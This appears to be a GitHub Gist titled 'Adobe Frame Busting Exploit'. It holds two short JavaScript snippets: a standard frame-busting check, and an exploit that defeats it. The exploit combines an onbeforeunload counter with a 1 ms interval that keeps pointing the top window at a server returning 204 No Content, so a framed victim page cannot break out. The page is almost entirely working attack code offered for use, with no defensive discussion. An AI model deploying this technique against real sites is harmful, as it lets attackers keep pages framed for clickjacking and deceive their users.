Created
January 9, 2012 20:03
-
-
Save skepticfx/1584656 to your computer and use it in GitHub Desktop.
Adobe Frame Busting Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (top!=self){ | |
top.location.href=self.location.href; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var kill = 0; | |
window.onbeforeunload = function() { kill++; } | |
setInterval(function() { | |
if (kill > 0) { | |
kill -= 2; | |
// A Web Server that serves a 204 - No Content | |
window.top.location = "http://test.skepticfx.com/204.php"; | |
} | |
}, 1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment